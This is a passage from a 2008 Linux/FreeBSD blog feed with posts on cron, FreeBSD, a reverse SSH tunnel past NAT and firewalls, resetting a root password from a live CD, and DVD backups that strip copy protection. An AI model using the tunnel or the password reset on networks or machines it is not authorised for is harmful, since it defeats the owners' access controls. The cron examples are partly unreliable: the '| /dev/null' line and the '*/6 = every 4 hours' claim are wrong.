&lt;p&gt;If you want an actual screensaver instead of monitor standby you can change the saver variable to one of the following:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;daemon&lt;/strong&gt; - &amp;ldquo;BSD Daemon&amp;rdquo; Animated screen saver (text)
&lt;strong&gt;fade&lt;/strong&gt; - Fade out effect screen saver
&lt;strong&gt;fire&lt;/strong&gt; - Flames effect screen saver
&lt;strong&gt;green&lt;/strong&gt; - Uses the power saving mode on your monitor
&lt;strong&gt;logo&lt;/strong&gt; - &amp;ldquo;BSD Daemon&amp;rdquo; animated screen saver (graphics)
&lt;strong&gt;rain&lt;/strong&gt; - Rain drops screen saver
&lt;strong&gt;snake&lt;/strong&gt; - Draw a FreeBSD &amp;ldquo;snake&amp;rdquo; on your screen
&lt;strong&gt;star&lt;/strong&gt; - A &amp;ldquo;twinkling stars&amp;rdquo; effect
&lt;strong&gt;warp&lt;/strong&gt; - A &amp;ldquo;stars warping&amp;rdquo; effect
&lt;strong&gt;dragon&lt;/strong&gt; - Dragon screensaver (graphics)&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Learning Cron by Example</title>
		<link href="https://www.marksanborn.net/linux/learning-cron-by-example/index.html" />
		<updated>2008-03-11T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/learning-cron-by-example/index.html</id>
		<content type="html">&lt;p&gt;If you are using a Linux system and want to schedule a task to run in the future you will probably need to know cron.  Cron is much like Window&amp;rsquo;s Scheduled Tasks.  The only difference is that cron is conifgured by a simple text file.  Although, that text file to the untrained looks very complicated.  Many people rely cron task generators to do the work but I hope that after this guide you will be able to make your own tasks without the use of a generator.&lt;/p&gt;

&lt;p&gt;Now obvisouly cron is very dependent and sensitive to the time.  If you want accurate results from cron you are going to want to setup your computer to sync its clock via NTP.  For now if you don&amp;rsquo;t have that configured you can use this command to get up to date temporarily:&lt;/p&gt;

&lt;p&gt;As root:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ntpdate pool.ntp.org
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Editing Cron&lt;/h3&gt;

&lt;p&gt;There are more than one way to edit the cron config files; however many of them require you to restart the service.  We don&amp;rsquo;t want to do that so here is a method to add a task to cron without having to restart the deamon.  You will need to login to the user you wish to execute the command and type:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;crontab -e
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here is the basic structure for cron.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;m h  dom mon dow command&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;m&lt;/strong&gt;&lt;/em&gt; - Minutes&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;h&lt;/strong&gt;&lt;/em&gt; - Hours (24 time)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;dom&lt;/strong&gt;&lt;/em&gt; - Day of the Month&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;mon&lt;/strong&gt;&lt;/em&gt; - Month&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;dow&lt;/strong&gt;&lt;/em&gt; - Day of the week&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;command&lt;/strong&gt;&lt;/em&gt; - The command you want to run.  This can contain spaces or point to a bash script.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Examples&lt;/h3&gt;

&lt;p&gt;Since many of you like to learn by example, I am going to give you pretty much every example I can think of.  This should help you get going with cron.&lt;/p&gt;

&lt;p&gt;*&amp;rsquo;s represent wildcards or any.
Under dow 0 and 7 are both Sunday.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;10 * * * * echo &amp;ldquo;This command is run at 10 min past every hour&amp;rdquo;&lt;/li&gt;
&lt;li&gt;22 7 * * * echo &amp;ldquo;This command is run daily at 7:22 am&amp;rdquo;&lt;/li&gt;
&lt;li&gt;22 20 * * * echo &amp;ldquo;This command is run daily at 8:22 pm&amp;rdquo;&lt;/li&gt;
&lt;li&gt;00 4 * * 0 echo &amp;ldquo;This command is run at 4 am every Sunday&amp;rdquo;&lt;/li&gt;
&lt;li&gt;* 4 * * Sun echo &amp;ldquo;This is the same as the command above&amp;rdquo;&lt;/li&gt;
&lt;li&gt;42 4 1 * * echo &amp;ldquo;This command is run 4:42 am every 1st of the month&amp;rdquo;&lt;/li&gt;
&lt;li&gt;01 * 19 07 * echo &amp;ldquo;This command is run hourly on the 19th of July&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using the &amp;lsquo;-&amp;rsquo; allows us to specify ranges of days.  I actually used the following entry recently to run a script at the end of the working day.
Execute at 5pm only on weekdays:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;* 17 * * 1-5 /path/to/your/code
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using the &amp;lsquo;,&amp;rsquo; allows us to specify intervals wihout having to have multiple entries in cron.
This would execute the ask on the 1st, the 10th, the 20th and on the 30th of each month, at 17:59PM.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;59 17 1,10,20,30 * * /home/username/backupsite
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Using the &amp;lsquo;/&amp;rsquo; allows us to divide the day into chunks.
Here, the tasks is executed every 4 hours (&lt;sup&gt;24&lt;/sup&gt;&amp;frasl;&lt;sub&gt;6&lt;/sub&gt; =4).&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;59 */6 * * * /home/username/backupsite
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Here is another example of using chunks of time and a range.
Every 20 mins between the hours or 9am and 5pm&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;*/20 9-17 * * * /path/to/your/code
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Dealing with the Output&lt;/h3&gt;

&lt;p&gt;Sometimes when we execute a command with cron we want to see the results of our command.  Other times we could care less.  By default the output from cron gets mailed to the owner of the process, or the person specified in the MAILTO variable.  Here are some ways we can change the handling of it.&lt;/p&gt;

&lt;p&gt;Structure:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cmd | argument
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Example of an email output.  This will email the results of my command every 4 hours to user, &amp;lsquo;mark&amp;rsquo;.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;59 */6 * * * /home/username/backupsite | mail -s &amp;quot;Subject of Mail&amp;quot; mark
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If we don&amp;rsquo;t care about the output we can send it to nowhere (literally).  For example purposes I will just display the cmd and not the entire cron entry.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cmd | /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Output to a text file and append it if it exists already.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cmd &amp;gt;&amp;gt; log.file
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;More information can be found in the man page of cron.  For more information just type:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;man cron
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Cron Monitoring for Small Businesses that like to Self-Host&lt;/h3&gt;

&lt;p&gt;If you run a small business and want to centralize your logging and monitoring. I created a &lt;a href=&#34;https://www.centrallogging.com&#34;&gt;centralized logging system&lt;/a&gt; that is easy to self-host called &lt;a href=&#34;https://www.centrallogging.com&#34;&gt;Central Logging&lt;/a&gt;. Checkout the &lt;a href=&#34;https://www.centrallogging.com/docs/cron-monitoring/&#34;&gt;cron monitor docs&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Initial Impression of FreeBSD 7.0</title>
		<link href="https://www.marksanborn.net/freebsd/initial-impression-of-freebsd-70/index.html" />
		<updated>2008-03-10T00:00:00Z</updated>
		<id>https://www.marksanborn.net/freebsd/initial-impression-of-freebsd-70/index.html</id>
		<content type="html">&lt;p&gt;If you have heard about Linux or currently using it you are probably aware that it was derived from Unix.  Linux is not the only variant derived from Unix.  There has been a number of Unix variants one of which is, FreeBSD.&lt;/p&gt;

&lt;p&gt;Since FreeBSD recently announced a new release I thought I would give it a try.  When they released FreeBSD 7.0 they had claimed that it performed at least 15% faster than the latest Linux kernel.  For such as substantial increase in performance I just had to give it a try.  Here is how it went.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Disclaimer: At the time of writing I am new to FreeBSD and my knowledge is limited.  I have only used/installed FreeBSD one other time prior to this.  I also come from a strong Linux background so I may be a bit biased.  Expect to see a few comments like, why doesn&amp;rsquo;t this work like Linux?  But I will try to keep them minimized. :)&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;What I noticed right away&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;FreeBSD uses a text install which I found was very quick and easy to use.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;The default shell is not BASH but rather csh.  (I changed this immediately).  I actually asked a few people why FreeBSD does this and the response was similar to this:  csh is very minimal and standalone.  It is easer to support and is not as thirdparty.  BASH contains libraries so if you are isntalling FreeBSD as a minimal installation it is not included.  Fortunately for me BASH was is easy to install and configure.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;FreeBSD is very similar to a Linux ditribution I used to use called Gentoo.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;FreeBSD is ment to be a compile everything OS; although, they do have binary installs via the pkg_add utility.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;The minimal install is VERY light.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;What I like so far&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;One complete operating system rather than a Linux kernel and many different distributions.  FreeBSD does not need multiple distros since you are essentially building from the ground up.  You are creating your OWN distro.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;They claim FreeBSD is faster than linux.  I hope to put this to the test in later posts.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;The kernel config is a small text file.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Rebuilding the Kernel was a little easier than Linux due to the small configuration.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;What I don&amp;rsquo;t like&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;I tend to be impatient when it comes to installing things.  Compile time is annoying but in the end is a blessing.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;It takes a long time to install.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;The default shell is csh.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;I havn&amp;rsquo;t gotten used to the way FreeBSD names their devices.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;Future comparison tests&lt;/h3&gt;

&lt;p&gt;In the future I plan to make a few posts on the speed/ease/configuration/maintenance of both a Linux server and FreeBSD server.  If you are curious how FreeBSD compares to Linux on a specific application or service please let me know in the comments and I will do my best to write a fair comparison of the two.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Hard Drive Benchmarking&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Linux Apache vs FreeBSD Apache&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;PHP&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;MySQL load tests&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;FTP Load tests&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Ease of configuration of LAMP / FAMP&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
	</entry>
	
	<entry>
		<title>Bypass Firewall and NAT with Reverse SSH Tunnel</title>
		<link href="https://www.marksanborn.net/howto/bypass-firewall-and-nat-with-reverse-ssh-tunnel/index.html" />
		<updated>2008-02-27T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/bypass-firewall-and-nat-with-reverse-ssh-tunnel/index.html</id>
		<content type="html">&lt;p&gt;Recently I wanted to control my computer from a remote location.  Problem was that the destination computer was behind a &lt;a href=&#34;http://en.wikipedia.org/wiki/Network_address_translation&#34;&gt;NAT&lt;/a&gt; and a firewall.  Almost all large networks (corporate and universities) including home routers are now using some sort of NAT (Network Address Translation).&lt;/p&gt;

&lt;p&gt;The problem with NAT is, that you can&amp;rsquo;t directly connect to the computers that are outside the NAT.  Computers behind a NAT can only recieve packets that they request.  For this reason we need to create a reverse SSH tunnel to establish a connection.  If you are familiar with Hamachi or gotoypc type software this is the exact same thing they do to connect to computers behind NAT/Firewalls, only they use their severs as the middle man.  We are going to have to find our middle man on our own.&lt;/p&gt;

&lt;h3&gt;Can&amp;rsquo;t I just use Hamachi gotomypc or some other software?&lt;/h3&gt;

&lt;p&gt;Well I actually forgot about reverse tunnels the other day and installed hamachi on my linux server.  After trying to connect with my windows machine outside the NAT I found that it couldn&amp;rsquo;t create a connetion.  After searching I found that &lt;strong&gt;Hamachi does not support low-speed relay (reverse tunnel) with their linux version of the program&lt;/strong&gt;.  That makes the Linux version of Hamachi useless.  If you are trying to connect to a Windows machine by all means it is probably easier to just install Hamachi.  But if you are dealing with a Linux machine there is a much easier way, provided that you ssh access to a computer in the middle.  To establish a reverse tunnel in Linux you type in only one simple command.&lt;/p&gt;

&lt;p&gt;So how about gotomypc?  Well if you don&amp;rsquo;t have a computer in the middle to connect to and are willing to pay $19.95 a month, its not a bad service.  I don&amp;rsquo;t believe gotomypc works for Linux however.&lt;/p&gt;

&lt;p&gt;In order for you to create a reverse tunnel you must have SSH access to a middle computer that you can connect to from origin computer.&lt;/p&gt;

&lt;h3&gt;Setting it all up&lt;/h3&gt;

&lt;p&gt;On the destination computer type the following command.  Replaceing &lt;strong&gt;middleuser&lt;/strong&gt; with your name and replacing &lt;strong&gt;middle&lt;/strong&gt; with the domain of the middle computer.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh -R 10002:localhost:22 middleuser@middle&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This will open port 10002 for listening and forward all future connections to port 22 at destination.  This connection must remain on the entire time to ensure that you can access your destination computer whenever you want.&lt;/p&gt;

&lt;p&gt;Now if sshd is set to use GatewayPorts you should be able to connect with this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh destinationuser@middle -p 10002&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If you are not sure if GatewayPorts is on or you don&amp;rsquo;t have the access to change it use the following method to connect:&lt;/p&gt;

&lt;p&gt;First connect to the middle computer how you would normally.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh user@middle&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Then connect to the localhost of the middle computer on port 10002.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh user@localhost -p 10002&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Note: The port 10002 is arbitrary you can use any port you want.&lt;/p&gt;

&lt;p&gt;You should now be remotely logged into your computer behind the NAT/Firewall.  Enjoy :)&lt;/p&gt;

&lt;p&gt;For added security you could &lt;a href=&#34;/linux/add-port-knocking-to-ssh-for-extra-security/&#34;&gt;Add Port Knocking to SSH&lt;/a&gt; and &lt;a href=&#34;/security/ssh-using-keys-instead-of-passwords/&#34;&gt;Use Keys Instead of Passwords&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;FreeBSD Users&lt;/h3&gt;

&lt;p&gt;The above instructions will work for FreeBSD but for whatever reason I was unable to get the connection to stay alive for more than a few minutes.  So, as a temporary work around I just do the same thing as above but I then run the program, &amp;ldquo;top&amp;rdquo; so that the connection is forced to stay alive.  This isn&amp;rsquo;t the ideal solution however and I would appriceate it if someone could tell me why its closing the connection all of the time.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Recovering From a Lost Linux Root Password</title>
		<link href="https://www.marksanborn.net/linux/recovering-from-a-lost-linux-root-password/index.html" />
		<updated>2008-02-25T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/recovering-from-a-lost-linux-root-password/index.html</id>
		<content type="html">&lt;p&gt;Lost your Linux root password and need to do change it fast?  Then this guide is for you.  I recently had lost my Linux password and I needed to get it back right away after doing a bit of searching a ran into a few different ways of doing it.  Some of them required nothing but changing the lilo/grub config to single user mode.&lt;/p&gt;

&lt;p&gt;Some guides suggested deleting the /etc/shadow directory.  Although those methods may have worked I decided to go with the method I was most comfortable performing.  Which is to boot into a Linux live cd, chroot, and change the password the way you would normally do it (passwd root).&lt;/p&gt;

&lt;p&gt;The first thing we need to do is boot up a working Linux distribution.  Since our current distribution is crippled by our forgotten password we shall use a &lt;a href=&#34;/howto/using-a-live-cd/&#34;&gt;Linux live CD&lt;/a&gt;.  Now there are a plethora of live cds to choose from.  I have tested this method on &lt;a href=&#34;http://www.sysresccd.org&#34;&gt;SystemRescueCD&lt;/a&gt;, the latest version of &lt;a href=&#34;http://www.knoppix.org/&#34;&gt;Knoppix&lt;/a&gt;, and the Gentoo Live CD.  Although, it should work with any live CD.&lt;/p&gt;

&lt;p&gt;Once you get booted into the live CD, we must be root to use most of the commands that follow so lets switch to root.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;su - root&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We will then need to determine which device your Linux hard drive is listed as under linux.  Look for the listing that says Linux it will have the root partition on it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;fdisk -l&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We will then need to make a directory to mount to.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mkdir /mnt/maindrive&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Mount the drive.  Change the sdb1 to match your device that you found using, &amp;lsquo;&lt;strong&gt;fdisk -l&lt;/strong&gt;&amp;rsquo;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mount /dev/sdb1 /mnt/maindrive&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now we are going to issue the big command.  This will change your root directory from the live CD to the one on your hard drive.  The key here though is that you already have root access when switching therefore you will have root access to the Linux system on your hard drive.  We also append the /bin/bash command to start the bash shell in your new environment.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chroot /mnt/maindrive /bin/bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now you should have root access and a basic bash shell.  You probably know what to do from here.  You simply issue the command you would always use to change a users password and since you are root you can change anyone&amp;rsquo;s password even your own (which is what we will do).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;passwd root&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You will then be greated with some text that says, &amp;ldquo;Enter new UNIX password&amp;rdquo; or something similar.  Type in your desired password.  Note: This goes without saying but I will say it anyways, don&amp;rsquo;t use &amp;lsquo;password&amp;rsquo; as your password.  If you want a good password go &lt;a href=&#34;/security/picking-strong-passwords-that-you-can-remember/&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;password&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can now reboot into your normal distribution.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;reboot&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;I tested this method using three different live cds.  None of them took more than three minutes to boot in, and change the Linux root password.  If you don&amp;rsquo;t start the X graphic system you can change the password in less than 30 seconds.  Remember if someone has physical access to the computer you have no security.&lt;/p&gt;

&lt;p&gt;Hopefully I saved you from having to reformat or pulling your hair out.  If you know of a better way to change the root password let me know.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>The Ultimate Guide to Properly Backing Up Your DVD's</title>
		<link href="https://www.marksanborn.net/howto/the-ultimate-guide-to-porperly-backing-up-your-dvds/index.html" />
		<updated>2008-02-11T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/the-ultimate-guide-to-porperly-backing-up-your-dvds/index.html</id>
		<content type="html">&lt;p&gt;If you have a huge collection of DVDs you want to backup than this guide is for you.  After burning about 600 DVDs I have come to learn the ins and outs of dvd burning.  What works great, what media works in all dvd players, why labeling your DVDs will cause them to start skipping half way through watching, how to properly store your DVDs, and how to defeat the new evil copy protection that prevents dvdshrink and DVDDecrypter from successfully backing up your DVDs.&lt;/p&gt;

&lt;h3&gt;Why Backup DVDs?&lt;/h3&gt;

&lt;p&gt;For the same reason you want to back up CDs.  They get scratched.  They get broken.  They get oilly-popcorn-fingers on them.  They get lost.  You get the idea.  And with more and more people serving audio content, and home movies via a Media Center PC or mythbox, there is a rising need for people to convert their DVDs to digital files to replace the inconvience of finding and inserting DVDs to watch thier favorite movies.  Also there is a rising trend of putting DVDs on mobile devices such as: iPod, PSP, Zune, Cellphone, etc.&lt;/p&gt;

&lt;h3&gt;Do Yourself a Favor Get Good DVD Media&lt;/h3&gt;

&lt;p&gt;If there is one thing you take away from this guide it is this, &lt;strong&gt;Buy Quality DVD Media&lt;/strong&gt;.  In order to make a successful DVD that will work in all players, not skip, or degrade over time you need to start with buying the best media you can get.  After burning about 200 DVDs I had a problem.  After watching the movie for about an hour it would start to skip.  This lead me to believe that the labels that I was using were causing it to skip.  I was right, what happens is the labels are not equally weighted and you cannot put a paper label on a DVD without causing the DVD to wobble at high speeds.  This wobble effects the outer portion of the DVD the most since it is a larger circle there is more room for error.  This however was not the end of my skipping problems.  Soon after I re-burned all my DVDs without using labels I was still noticing some DVDs skip throughout the movie randomly.  I was using Nero at the time and it fortunately came with a utility that will burn a disc and then analyze the disc to make sure that it has the data in its entirety.  What I eventually found out is that it doesn&amp;rsquo;t pay to use those blackfriday $2.&lt;sup&gt;99&lt;/sup&gt;&amp;frasl;&lt;sub&gt;50&lt;/sub&gt; DVD packs you get at Staples.&lt;/p&gt;

&lt;p&gt;This lead me to a quest to find a quality DVD media.  What I actually found is that most DVDs are not created by the brand you see on the label.  Most DVDs come from a handful of media producing companies.  Mitsubishi for instance creates many of the discs.  Another thing I found is that sometimes a brand that would normally have quality DVDs (like Memorex) will sometimes outsource their DVD production to a lesser quality company causing an entire batch of DVDs to be bad.  I eventually found a site that did tests on all types of DVD media.  The conclusion was there was only ONE brand that consistently provided quality DVD media.  The brand is called &lt;strong&gt;Tayo Yuden&lt;/strong&gt;.  They are made in Japan.  If you serious about backing up your DVDs I highly recommend getting authentic Tayo Yuden DVDs; however, since this media is so well known for its quality production there are some people trying to imitate the MID code on the media making fake discs.  So be careful when purchasing these online.&lt;/p&gt;

&lt;p&gt;I have found a company that provides the authentic Tayo Yuden discs for a reasonable price.  &lt;a href=&#34;http://supermediastore.com/taiyo-yuden-silver-thermal-8x-dvd-r-media.html&#34;&gt;Supermediastore.com&lt;/a&gt; has them for 0.28/disc.  After wasting several hundred DVDs on making mistakes with wrong media and labels this is the only media I can recommend.  Of course if you only own a few movies and you are only backing up a few, the Memorex discs from Wal-mart will probably be fine.  Just don&amp;rsquo;t expect a perfect copy or all of the copies to be skip free.  &lt;em&gt;There may be other media that perform as well as Tayo Yuden but I have not found any.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;Difference Between a DVD Backup and the Real Thing&lt;/h3&gt;

&lt;p&gt;In order to understand the process of properly backing up a DVD we need to understand how they are made.  A burned DVD is not made in the same way that a genuine produced DVD is made.  A genuine DVD is pressed with a machine.  As apposed to a &amp;ldquo;burned DVD&amp;rdquo; where foil is being burned through a small layer of plastic.  Without getting to heavily into details a genuine DVD is more resistant to scratches and degradation over time.  Furthermore since it is pressed with a machine there is almost no chance for errors like there are in a burned DVD.  A burned DVD could be full of errors due to laser miscalculation or an uneven DVD.  This is why it is important to choose a high quality media like Tayo Yuden.&lt;/p&gt;

&lt;p&gt;Another difference between a genuine DVD and a backup is the type of disc they use.  Most of the newer DVD movies are released on what is called a dual layer DVD.  A Dual layered DVD can hold twice the data than a normal single layered DVD.  Since I want to keep the costs of my backups to a minimum, I choose to backup all of my movies on single layered discs regardless of what type of DVD the original is.  Unfortunately however, this means that we need to get rid of half of the data the original DVD has.  I usually start off by removing all subtitles, foreign audio tracks, menus, and extras.  Now I know what you are thinking.  You like these things.  Well you can keep them on a single layered disc if you compress the video further.  What this means however is that the backup DVD will have lower quality video.  Of course there still is the option of making a perfect backup with a dual layered disc.  But the later option requires a higher investment to create backup copies and I usually do not notice a difference.&lt;/p&gt;

&lt;h3&gt;DVD Backup Software&lt;/h3&gt;

&lt;p&gt;I used to backup all my DVDs with one program, &lt;a href=&#34;http://www.dvdshrink.org/&#34;&gt;DVD Shrink&lt;/a&gt;.  DVD Shrink is a free program that will analyze the disc, strip out region codes, remove copy protection, and compress the video if the original was on a dual layered DVD disc.  After backing up many DVDs I found that some of them were failing to read certain portions of the disc.  I first attributed this to scratches on the disc.  It turns out that there was a new form of copy protection since the development of DVD Shrink.  Since DVD Shrink is no longer being developed I had to look elsewhere.  The first program I came across was DVD Decrypter.  This worked for more DVDs than DVD Shrink but there were still a few stubborn DVDs that wouldn&amp;rsquo;t copy.  I found the program AnyDVD, that would copy the newer DVD movies regardless of the type of copy protection.  This program worked for most of the movies but the newest DVDs protected with &lt;a href=&#34;http://en.wikipedia.org/wiki/ARccOS_Protection&#34;&gt;ARccOS&lt;/a&gt; would still not copy.  Also with AnyDVD there are no free versions.  This lead me to search around yet again for a program that will backup even my newest of DVDs.  I recently found &lt;a href=&#34;http://www.dvdfab.com/free.htm&#34;&gt;DVDFab HD Decryptor&lt;/a&gt; will backup every movie that I have thrown at it thus far.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.dvd-guides.com/content/view/225/59/&#34;&gt;How to rip a DVD to the hard disk using DVDFab HD Decrypter&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;Re-Authoring Your DVDs&lt;/h3&gt;

&lt;p&gt;To re-author my DVDs (strip out menus, foreign audio tracks, bonus material etc.) I use DVD Shrink.  This first decision you need to make when re-authoring a DVD is.  Do I want the menu?  If you don&amp;rsquo;t have a use for the DVD menu you select the &amp;lsquo;&lt;strong&gt;re-author&lt;/strong&gt;&amp;rsquo; button in DVD shrink.  If you want to keep the menu make sure you are on the &amp;lsquo;&lt;strong&gt;Full Disc&lt;/strong&gt;&amp;rsquo; section.&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/02/re-author.gif&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;If you choose to omit the menus and re-author the disc you should see something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/02/re-author-structure.gif&#34; alt=&#34;re-author structure&#34; /&gt;&lt;/p&gt;

&lt;p&gt;From here you will notice that under &amp;lsquo;&lt;strong&gt;Main Movie&lt;/strong&gt;&amp;rsquo; you will notice Title 1.  99% of the time this is the whole movie with out menus and bonus material.  Simply drag this over to the left hand side and you are almost done.  &lt;em&gt;Note: If there are two Titles under &amp;lsquo;&lt;strong&gt;Main Movie&lt;/strong&gt;&amp;rsquo; this usually means there are two different aspect ratios.  In other words there is a wide screen and full screen version.&lt;/em&gt;  Choose the one you want and drag it to the left.  You can preview the video on the left side of the window by pressing the play button.  If this is the right one proceed to the compression settings.  Click the &amp;lsquo;&lt;strong&gt;Compression Settings&lt;/strong&gt;&amp;rsquo; tab.&lt;/p&gt;

&lt;p&gt;Under the &amp;lsquo;Compression Settings&amp;rsquo; tab there will be some more decisions to make.  Usually the goal is to remove anything that you may not need.  The more things you remove the less compression you will have to do on the main title.  My goal when backing up is to maintain the quality of the movie and the surround sound quality.  Other than that I could care less about menus and other things.  As you can see in the next screen shot I remove all captions except English.  I also remove the two channel English stream.  I remove all audio except the surround sound 5.1 channel.  What happens to the audio of the movie if you don&amp;rsquo;t have surround sound you ask?  Well, 5.1 is capable of playing only the 2 channel stream.  So there is really no reason for keeping it here.  &lt;em&gt;Note: If you have the option to choose between DTS and Dolby Digital 5.1, I recommend choosing DTS.  I find that DTS is much higher quality and I am willing to compromise some video quality for high quality surround sound.  You can read about the differences &lt;a href=&#34;http://www.practical-home-theater-guide.com/dolby-vs-dts.html&#34;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/02/re-author-removing.gif&#34; alt=&#34;DVD Shrink Re-authoring Removing&#34; /&gt;&lt;/p&gt;

&lt;p&gt;After you have removed unwanted audio tracks and subtitles click on backup.  Make sure you change/remember where you save the DVD backup and then select DVD Region.  In here select, &lt;strong&gt;Region Free&lt;/strong&gt;.  This will ensure that the disc will be able to play on all DVD players including foreign ones.  Then click quality options.  To make sure you get the highest quality copy you will want to select the, &amp;ldquo;Perform deep analysis before backup to improve quality&amp;rdquo; check box.  When you are done review the settings and hit, OK.  Depending on the speed of your processor and hard drives, this could take awhile so get comfortable.&lt;/p&gt;

&lt;h3&gt;Burning the DVD&lt;/h3&gt;

&lt;p&gt;The actual burning process of the DVD is actually quite simple; however, since many of you use different burning applications I cannot tell you how to set yours up exactly.  Usually all you have to do is make sure you have two folders in your compilation called: &lt;strong&gt;AUDIO_TS&lt;/strong&gt; and &lt;strong&gt;VIDEO_TS&lt;/strong&gt;.  Even if the AUDIO_TS folder of your dvd is empty, include it anyways.&lt;/p&gt;

&lt;p&gt;Here is a guide for &lt;a href=&#34;http://www.dvdshrink.info/nero-video.php&#34;&gt;burning DVD-Video using Nero&lt;/a&gt; (The most popluar Windows burning application).&lt;/p&gt;

&lt;h3&gt;Storing Your DVD Backups&lt;/h3&gt;

